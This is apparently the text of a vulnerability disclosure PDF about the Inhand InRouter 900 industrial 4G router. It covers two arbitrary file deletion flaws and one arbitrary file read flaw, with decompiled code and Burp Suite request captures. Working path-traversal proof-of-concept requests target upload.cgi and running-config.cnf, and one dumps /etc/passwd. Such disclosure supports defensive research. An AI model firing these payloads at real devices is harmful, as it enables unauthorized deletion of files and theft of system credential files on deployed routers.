

main



IoT_Hunter / Inhand InRouter 900 Industrial 4G Router Vulnerabilities(Arbitrary File Deletion and Read).pdf



skyvast404 Add files via upload ...

History

1 contributor

1.36 MB



Inhand InRouter 900 Industrial 4G Router Vulnerabilities(Arbitrary File Deletion and Read)

1.Arbitrary File Deletion

url: <http://IP/status-python-sdk.jsp>

In function `sub_17C08`, `v3` gets from `filename`, which is controlled by attacker.

```
39 v2 = (const char *)get_cgi_from_memory("type");
40 v3 = (char *)get_cgi_from_memory("filename");
41 if ( a1 )
42 {
43     if ( !strcmp(a1, "python.cgi") )
44         a1 = (const char *)get_cgi_from_memory("pyapp");
45     else
46         a1 = 0;
47 }
48 if ( !v2 || !*v2 )
49 {
50     syslog(7, "unknown upload type!");
51     return sub_11AAC("error.jsp");
52 }
53 if ( !v3 || !*v3 )
54 {
```

`v3` will be deleted in some situation, and `v3` is never verified if reasonable.

```

264     else if ( mkdir(v29, 0x1FFu) )
265     {
266         v25 = *_errno_location();
267         v26 = strerror(v25);
268         syslog(3, "creat %s failed(%d:%s)", v29, v25, v26);
269         unlink(v3);
270         sub_11AAC("error.jsp");
271     }
272     v7 = _xpg_basename(v3);
273     syslog(6, "get file path %s/%s", v29, v7);
274     snprintf(v28, 0x80u, "rm -rf /var/app/cfg/%s/*", a1);
275     system(v28);
276     v36 = 0;
277     v33 = "-af";
278     v32 = "cp";
279     v34 = v3;
280     v35 = v29;
281     eval(&v32, 0, 0, 0);
282     unlink(v3);
283     v8 = _xpg_basename(v3);
284     snprintf(v31, 0x80u, "%s/%s", v29, v8);
285     snprintf(v30, 0x80u, "/var/app/cfg/%s.cfg", a1);
286     if ( strcmp(v31, v30) )
287     {
288         remove(v30);
289         symlink(v31, v30);
290     }
291     v9 = _xpg_basename(v3);
292     snprintf(v29, 0x80u, "%s/%s", v29, v9);
293     v35 = 0;
294     v33 = "777";
295     v32 = "chmod";
296     v34 = v29;
297     eval(&v32, 0, 0, 0);
298     sub_168B8("infomsg.pyapp_imcfg_ok");
299     goto LABEL_32;
300 }
301 }
302 syslog(7, "import unknown file: %s, %s!", v2, v3);
303 LABEL_65:
304     unlink(v3);
305     return sub_11AAC("error.jsp");
306 }

```

PoC:

```

web_cellular_advanced=0; web_status_alarm_refresh=0;
web_status_l2tp_refresh=3; web_f_mqtt_advanced=0; web_testemail=0;
web_loglines=50; web_status_ddns_refresh=0; web_tcpdumpiface=any;
web_tcpdumpcount=10; web_tcpdumpoption=2; web_status_system_refresh=0;
web_pingoption=22; web_status_openvpn_refresh=3; web_f_openvpn_advanced=
web_openvpn-id=1; web_session=20d18a28
Connection: close

-----WebKitFormBoundaryqMngbdRPdFNltudp
Content-Disposition: form-data; name="type"

python-ggg
-----WebKitFormBoundaryqMngbdRPdFNltudp
Content-Disposition: form-data; name="filename"; filename="
../../../../../../var/tmp/memory/passwd"
Content-Type: application/gzip

```

2.Arbitrary File Deletion

In function **sub_17C08**, **v3** gets from **filename**, which is controlled by attacker.

```
39 v2 = (const char *)get_cgi_from_memory("type");
40 v3 = (char *)get_cgi_from_memory("filename");
41 if ( a1 )
42 {
43     if ( !strcmp(a1, "python.cgi") )
44         a1 = (const char *)get_cgi_from_memory("pyapp");
45     else
46         a1 = 0;
47 }
48 if ( !v2 || !*v2 )
49 {
50     syslog(7, "unknown upload type!");
51     return sub_11AAC("error.jsp");
52 }
```

```

66 eval(&v32, 0, 0, 0);
67 if ( validate_is_config("/tmp/web_import.conf") == 1 )
68 {
69     v11 = save_is_config("/tmp/web_import.conf");
70     backup_config_file(v11);
71     f_copy("/tmp/web_import.conf", "/etc/inos.conf");
72     unlink(v3);
73     unlink("/tmp/web_import.conf");
74     sub_105C4("info");
75     v10 = sub_11AAC("admin-reboot.jsp");
76 }
77 else

```

Burp Suite Community Edition v2020.12.1 - Temporal Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project actions User options

6 x 7 x -

Send Cancel < >

Request

Pretty Raw \n Actions ▼

```
1 POST /upload.cgi HTTP/1.1
2 Host: 202.99.27.22
3 Content-Length: 685
4 Cache-Control: max-age=0
5 Authorization: Basic TWVhZGAgYXV7qTQl==
6 Origin: http://202.99.27.22
7 Upgrade-Insecure-Requests: 1
8 DNT: 1
9 Content-Type: multipart/form-data;
boundary=-----WebKitFormBoundaryIghBgATv77qtGT0l
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(FHTML; like Gecko) Chrome/87.0.4280.141 Safari/537.36
11
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,i
mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
13 http://202.99.27.22/wizard-ipsec-expert.jsp
14 Accept-Encoding: gzip, deflate
15 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CH;q=0.7
16 Cookie: web_autoname=1; web_status_system_refresh=3; web_status_ipsec_refresh
0; web_loglineval=1; web_status_log_refresh=0; web_pingcount=4; web_pingrate
=32; web_pingtimeout=3; web_status_track_refresh=3; web_status_openvpn_refresh=
3; web_f_openvpn_advanced=1; web_acl-modify=102-10; web_ipsec-tun-modify=
1; web_status_102_99_27_70; web_f_wpt_advanced=0; web_status_sla_refresh=3;
web_status=0; web_status track_refresh=3; web_status vrtp_refresh=3;
web_status backup_refresh=3; web_cellular_advanced=0; web_alarm_refresh=3;
web_status_alarm_refresh=0; web_pingaddr=202.99.22.7; web_session=6673b37
17 Connection: close
18
19 -----WebKitFormBoundaryIghBgATv77qtGT0l
20 Content-Disposition: form-data; name="type"
21
22 config
23 -----WebKitFormBoundaryIghBgATv77qtGT0l
24 Content-Disposition: form-data; name="filename"; filename=""
25 .....\\waz\temp\memory\list.txt"
26 Content-Type: application/octet-stream
27
28 !
29 #system config
30 language Chinese
31 hostname Router
32 ip domain-name router.com.cn
33 clock timezone UTC+8
```

Response

Pretty Raw Render \n Actions ▼

```
1 HTTP/1.0 200 OK
2 Date: Mon, 10 Jan 2021 10:18:16 GMT
3 Content-Type: text/html; charset=GB2312
4 Cache-Control: no-cache, no-store, must-revalidate, private
5 Expires: Thu, 31 Dec 1970 00:00:00 GMT
6 Pragma: no-cache
7 Connection: close
8
9 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/
10 <xhtml>
11 <head>
12 <meta http-equiv="Content-Type" content="application/xhtml+xml; charset=GB2
13 <script type="text/javascript" src="/js/misc.js">
14 </script>
15 <link type="text/css" rel="stylesheet" href="/css/inhand.css">
16 <script type="text/javascript" src="Chinese.res">
17 </script>
18 <script type="text/javascript" src="/js/inrouter.js">
19 </script>
20 <title>
21 Router -> XXXX
22 </title>
23
24 <script type="text/javascript">
25
26 function reboot()
27 {
28     var i;
29
30     form.submit('reboot-form');
31 }
32
33 top.Dialog.closeInfo();
34
35 </script>
36 </head>
37 <body>
38
39 <div class='section-title'>
40 <script type="text/javascript">
41     ...
42 </script>
```

0 matches

Search...

0 matches

Search...

Done

1,328 bytes | 504 ms

3.Arbitrary File Read

In function **sub_177E0**, **get_cgi_from_memory** handler data that user input. **v29** compose **v14** and other text. **v29** is a complete path of cert file, obviously path traversal exists.

```
if ( !strcasecmp(v1, "root_ca") )
{
    v14 = get_cgi_from_memory("filename");
    syslog(7, "download root ca cert[%s]...", v14);
    snprintf(v29, 0x40u, "%s%s", "/var/backups/rootca/", v14);
    ret_right_page(200, 0, "Content-Type: application/octet-stream\r\n");
    syslog(6, "download root ca cert[%s]...", v29);
    if ( !down_file(v29) )
        return;
    goto LABEL_31;
}
```

PoC:

The screenshot shows the Burp Suite interface with a request and response view. The request is a GET request to `http://202.99.27.22/running-config.cnf?type=root_ca&filename=../../../../etc/passwd`. The response is an HTTP 200 OK with a `Content-Type: application/octet-stream` and a `Content-Disposition: attachment`. The response body shows the contents of the `/etc/passwd` file, indicating a successful path traversal attack.

Request:

```
1 GET /running-config.cnf?type=root_ca&filename=../../../../etc/passwd
2 HTTP/1.1
3 Host: 202.99.27.22
4 Authorization: Basic TWp0OjE5MzQlNg==
5 Upgrade-Insecure-Requests: 1
6 DNT: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141
  Safari/537.36
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
11 Cookie: web_autosave=1; web_status_system_refresh=3;
  web_status_ipsec_refresh=0; web_loglines=all; web_status_log_refresh=
  0; web_pingcount=4; web_pingsize=32; web_pingoption=;
  web_status_l2tp_refresh=3; web_status_openvpn_refresh=3;
  web_f_openvpn_advanced=1; web_acl-modify=102-10; web_ipsec-tun-modify
  =IPsec2_202.99.27.70; web_f_mqtt_advanced=0; web_status_sla_refresh=3
  ; web_state=0; web_status_track_refresh=3; web_status_vrrp_refresh=3;
  web_status_backup_refresh=3; web_cellular_advanced=0;
  web_alarm_refresh=3; web_status_alarm_refresh=0; web_session=
  45a6d190; web_pingaddr=202.99.27.7
12 Connection: close
13 Content-Length: 0
14
15
```

Response:

```
1 HTTP/1.0 200 OK
2 Date: Mon, 18 Jan 2021 08:50:42 GMT
3 Content-Type: application/octet-stream
4 Content-Disposition: attachment
5 Cache-Control: no-cache, no-store, must-revalidate, private
6 Expires: Thu, 31 Dec 1970 00:00:00 GMT
7 Pragma: no-cache
8 Connection: close
9
10 root:x1:0:root:/root:/usr/bin/cll
11 pyapp:x1:600:600:pyapp:/var/app:/sbin/nologin
12 mshd:x1:74:74:Privilege-separated SSH:/sbin/mshd:/sbin/nologin
13 adm:x1:0:15:root:/bin/sh
14 abc:x1:0:15:root:/usr/bin/cll
15 nobody:x1:65534:65534:nobody:/dev/null:/dev/null
16
```

Done 514 bytes | 6 mills

